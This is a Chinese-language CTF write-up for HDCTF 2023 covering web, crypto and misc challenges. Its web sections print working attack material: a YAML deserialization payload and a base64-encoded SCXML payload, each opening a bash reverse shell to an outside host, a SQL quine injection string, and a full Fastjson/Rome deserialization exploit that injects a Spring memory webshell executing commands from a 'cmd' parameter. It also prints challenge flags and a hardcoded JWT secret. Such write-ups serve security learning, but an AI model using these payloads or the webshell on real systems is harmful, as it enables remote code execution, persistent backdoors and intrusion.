目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. Welcome To HDCTF 2023
    2. 2.2. SearchMaster
    3. 2.3. YamiYami(复现)
      1. 2.3.1. 非预期解
      2. 2.3.2. 预期解
    4. 2.4. LoginMaster(复现)
    5. 2.5. BabyJXvX(待复现)
    6. 2.6. JavaMonster(复现)
      1. 2.6.1. IDEA调试配置
      2. 2.6.2. jwt
      3. 2.6.3. hashCode绕过
      4. 2.6.4. 反序列化思路构建
      5. 2.6.5. 内存马
      6. 2.6.6. poc
  3. 3. Crypto
    1. 3.1. Normal_Rsa
  4. 4. MISC
    1. 4.1. hardMisc

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

HDCTF 2023 Writeup(含复现)

2023/4/22 CTF线上赛
  |     |   总文章阅读量:

前言

image-20230422214141007

打不动,python,java框架是完全没头绪。。。

官方web wp

WEB

Welcome To HDCTF 2023

jsfuck

打开直奔js发现jsfuck串

image-20230422095703091

复制到控制台执行获取flag

image-20230422095732327

SearchMaster

smarty模板注入

image-20230422102722948

观察网页猜测是模板注入,需要post请求传data

image-20230422102858119

随便弄个报错出来发现是smarty模板

image-20230422102931821

结合题目名称于是在出题人的博客中查到相关知识点

image-20230422103109708

使用此payload查看根目录可以发现flag,于是tac即可

image-20230422103142571

image-20230422103248785

YamiYami(复现)

Python+Yaml反序列化+伪协议

进去之后发现有三个链接

image-20230423200624241

一个个点过去

此处可以发现存在一个url传参,猜测是任意文件读取

image-20230423200841792

第二个是文件上传

image-20230423200944645

第三个是当前目录

image-20230423201022792

非预期解

来到read路由的页面

使用file://协议进行文件读取

image-20230423201159224

先读取etc/passwd,发现能够正常读取

然后尝试读取proc/1/environ获取环境变量

image-20230423201436352

成功获得flag

  • 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下

预期解

首先在read路由下用file://协议尝试读取/app/app.py

回显re.findall('app.*', url, re.IGNORECASE)

看来是被过滤了

这里要用url二次编码绕过

原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问

附上个人的url全编码脚本

<?php
$a='%61%70%70%2f%61%70%70%2e%70%79';
$b=str_split($a);
for($i=0;$i<count($b);$i++){
    echo ("%".bin2hex($b[$i]));
}
?>

两次编码后成功读取到/app/app.py

image-20230620202218146

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

注意:Python3的urllib.request.urlopen只可以打开url协议的内容,而不能读取app.py这样的文件内容,所以想要读取文件就使用file协议进行获取

需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()生成的,网上检索一波

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

/sys/class/net/eth0/address,这个就是网卡的位置,读取它,然后用同样的逻辑获取 SECRET_KEY 进行伪造即可

之后就是Yaml反序列化:

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/your-ip/7777 <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

上传之后在进入/boogipop路由触发即可获取shell


LoginMaster(复现)

quine注入

进入题目,是一个登录页面,没有注册功能

随便输入个用户名,告诉我们only admin can login

dirsearch扫的时候发现存在robots.txt,得到检查的代码

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

ban了大多数sql注入需要用到的函数,告诉我们只要查询返回的$row['password']等于$password即可,明显是要我们用quine注入

直接掏现成的payload打

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

image-20231102001957364


BabyJXvX(待复现)

Apache SCXML2 RCE

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>

JavaMonster(复现)

Fastjson+Rome 二次反序列化打入SpringBoot高版本内存马

主要路由:

package com.ctf.easyjava.controllers;

import com.ctf.easyjava.accounts.User;
import com.ctf.easyjava.utils.JwtUtil;
import com.ctf.easyjava.utils.MyownObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Base64;

@Controller
public class MainController {
    @RequestMapping("/")
    public String index(){
        return "bouncy";
    }
    @PostMapping("/Flag")
    public void Flag(User user, HttpServletRequest request, HttpServletResponse response, @RequestParam(required = true) String data) throws IOException, ClassNotFoundException {
        if(user==null){
            user=new User();
            String username=user.getUname();
            response.getWriter().println("Hello"+username);
        }
        Cookie[] cookies = request.getCookies();
        String token = cookies[1].getValue();
        JwtUtil jwtUtil = new JwtUtil();
        String gettoken=jwtUtil.Jwttoken(token);
        if(!gettoken.equals("Boogipop")){
            response.getWriter().println("Need Authorization!");
        }
        else{
            byte[] decode = Base64.getDecoder().decode(data);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byteArrayOutputStream.write(decode);
            MyownObjectInputStream objectInputStream = new MyownObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
            String s = objectInputStream.readUTF();
            if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
                objectInputStream.readObject();
            }
            else {
                response.getWriter().println("Where is your passport");
                }
            }
        }
    }

/Flag 里一个 readObject 反序列化入口,想要进入反序列化首先需要过一个 hashcode,一个 JWT 伪造,注意到这里的 MyownObjectInputStream

IDEA调试配置

顺便记载一下 IDEA 的调试 jar 包方法

image-20250220110859063

image-20250220110931216

image-20250220110945518

jwt

JWT 算法已经在源码给出,照着造一个就好了

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.Claim;
import com.auth0.jwt.interfaces.DecodedJWT;
import java.io.UnsupportedEncodingException;
import java.util.Date;
import java.util.Map;
import org.apache.commons.lang3.time.DateUtils;

public class JwtUtil {
    public JwtUtil() {
    }

    public String JwtCreate(User user) {
        String token = JWT.create().withIssuedAt(new Date()).withExpiresAt(DateUtils.addHours(new Date(), 2)).withClaim("username", user.getUname()).sign(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564"));
        return token;
    }

    public String Jwttoken(String token) {
        JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")).build();
        DecodedJWT jwt = jwtVerifier.verify(token);
        Map<String, Claim> claims = jwt.getClaims();
        Claim claim = (Claim)claims.get("username");
        return claim.asString();
    }

    public static void main(String[] args) throws UnsupportedEncodingException {
        JwtUtil jwtUtil = new JwtUtil();
        User user = new User("Boogipop", "123");
        String token = jwtUtil.JwtCreate(user);
        System.out.println(token);
        System.out.println(jwtUtil.Jwttoken(token));
    }
}

image-20250220110542622

传的时候注意是取第二个cookie

hashCode绕过

对于这个判断

String s = objectInputStream.readUTF();
if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
    objectInputStream.readObject();
}

需要看一下 hashCode 的源码:

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

hashCode() 的作用是获取哈希码,例子:

//97
"a".hashCode()

//97*31+98=3105
"ab".hahsCode()

//98*31+67=3105
"bC".hashCode()

//3105*31+99=96354
"abc".hashCode()

可以看到不同字符串的 hashCode 是可以相同的,那么按照这个方法构造一个和Try to solve EasyJava的哈希码相同的字符串即可,这里构造了一个Try to solve Easxiava

反序列化思路构建

重写的 MyownObjectInputStream 里的黑名单

package com.ctf.easyjava.utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.*;

public class MyownObjectInputStream extends ObjectInputStream{
    private ArrayList Blacklist=new ArrayList();
    public MyownObjectInputStream(InputStream in) throws IOException {
        super(in);
        this.Blacklist.add(Hashtable.class.getName());
        this.Blacklist.add(HashSet.class.getName());
        this.Blacklist.add(JdbcRowSetImpl.class.getName());
        this.Blacklist.add(TreeMap.class.getName());
        this.Blacklist.add(HotSwappableTargetSource.class.getName());
        this.Blacklist.add(XString.class.getName());
        this.Blacklist.add(BadAttributeValueExpException.class.getName());
        this.Blacklist.add(TemplatesImpl.class.getName());
        this.Blacklist.add(ToStringBean.class.getName());
    }
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (this.Blacklist.contains(desc.getName())) {
            throw new InvalidClassException("dont do this");
        } else {
            return super.resolveClass(desc);
        }

    }
}

image-20250220112037969

看依赖,发现了 ROME 和 FastJson 依赖,并且都是比较低的版本,因此入口点肯定在这里

Rome 和 FastJson 都是触发任意 getter 的,而且对于Rome,它自己单独就可以打出完整的一条链,但是这里把一些类ban了,比如 ToStringBean 和 Hotswapper、Xstring、BadAttribute 等等,那么 Rome 链到 EqualsBean.beanHashCode 那里就断掉了

不过还有 fastjson,fastjson 的 JSON.toString 也是可以触发任意 getter 的,用 EqualsBean.beanHashCode 触发 JSON.toString,这样链子就凑上去了

这里把 TemplatesImpl 和 JdbcRowImpl 也ban了,没这两个的话最后没法rce,这个时候就需要二次反序列化了,对于 Rome 的话就需要 SignObject 类了

注意 SignObject.getObject 是 Protected 属性,不过这里题目给了一个起到同样效果的 HDCTF 类

public class HDCTF implements Serializable {
    private byte[] content;

    public HDCTF(Serializable object) throws IOException {
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new ObjectOutputStream(b);
        a.writeObject(object);
        a.flush();
        a.close();
        this.content = b.toByteArray();
        b.close();
    }

    public Object getFlag() throws IOException, ClassNotFoundException {
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }
}

那最终思路就是(Rome) EqualsBean#beanHashCode -> (FastJson) JSON#toJSONString -> HDCTF#getFlag -> MemShell

调用栈参考:

getFlag:23, HDCTF (com.ctf.easyjava.hdctf)
toJSONString:799, JSON (com.alibaba.fastjson)
toString:793, JSON (com.alibaba.fastjson)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)

内存马

题目不出网,那么要打内存马,lib 里是 Sprintboot 2.6.6,内存马如下:

注意包名要对上

package com.ctf.easyjava;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class InjectToController extends AbstractTranslet {

    public InjectToController() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); // Springboot ver 2.6.0+
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);

        Method method2 = InjectToController.class.getMethod("exec");
// Springboot lower ver
//        PatternsRequestCondition url = new PatternsRequestCondition("/evil");
//        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
//        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        RequestMappingInfo info = RequestMappingInfo.paths("/evil").options(config).build();
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }

    public InjectToController(String arg) {}

    public void exec(){
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder("cmd.exe", "/c", arg0);
                }else{
                    p = new ProcessBuilder("/bin/sh", "-c", arg0);
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

poc

poc,注意还要在字节流里加上writeUTF绕过hashCode:

import com.alibaba.fastjson.JSONArray;
import com.ctf.easyjava.hdctf.HDCTF;
import com.ctf.easyjava.test.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;


public class EXP {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.memTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean,"0w0");

        Utils.SetValue(objectBean,"_cloneableBean",null);
        Utils.SetValue(objectBean,"_toStringBean",null);

        HDCTF hdctf = new HDCTF(hashMap);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(hdctf);

        ObjectBean objectBean2 = new ObjectBean(JSONArray.class, jsonArray);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(objectBean2,"0w0");

        Utils.SetValue(objectBean2,"_cloneableBean",null);
        Utils.SetValue(objectBean2,"_toStringBean",null);


        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeUTF("Try to solve Easxiava");
        out.writeObject(hashMap2);
        System.out.println(Utils.Base64_Encode(bs.toByteArray()));

    }
}

这里有个需要注意的点,需要让 objectBean 的 _toStringBean 为 null 才能绕过黑名单,因为 ObjectBean 这里会 new 一次 ToStringBean

image-20250220184835754

工具方法:

public static String Base64_Encode(byte[] bytes) throws Exception{
    return new String(Base64.getEncoder().encode(bytes));
}

public static void SetValue(Object obj, String name, Object value) throws Exception {
    Class clz = obj.getClass();
    Field nameField = clz.getDeclaredField(name);
    nameField.setAccessible(true);
    nameField.set(obj, value);
}

public static TemplatesImpl memTemplatesImpl() throws Exception{
    byte[][] bytes = new byte[][]{GenerateMemShell()};
    TemplatesImpl templates = new TemplatesImpl();
    SetValue(templates, "_bytecodes", bytes);
    SetValue(templates, "_name", "0w0");
    SetValue(templates, "_tfactory", null);
    return templates;
}

private static byte[] GenerateMemShell() throws Exception{
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.getCtClass("com.ctf.easyjava.InjectToController");
    return ctClass.toBytecode();
}

运行poc获得Base64编码,然后打入

image-20250220182300366

image-20250220182325307


Crypto

Normal_Rsa

下载题目python附件直接发现flag???

HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}

MISC

hardMisc

下载题目附件得到一张png图片,拖入010查看

在文件尾发现一串base64

image-20230422104538833

解密得到flag

HDCTF{wE1c0w3_10_HDctf_M15c}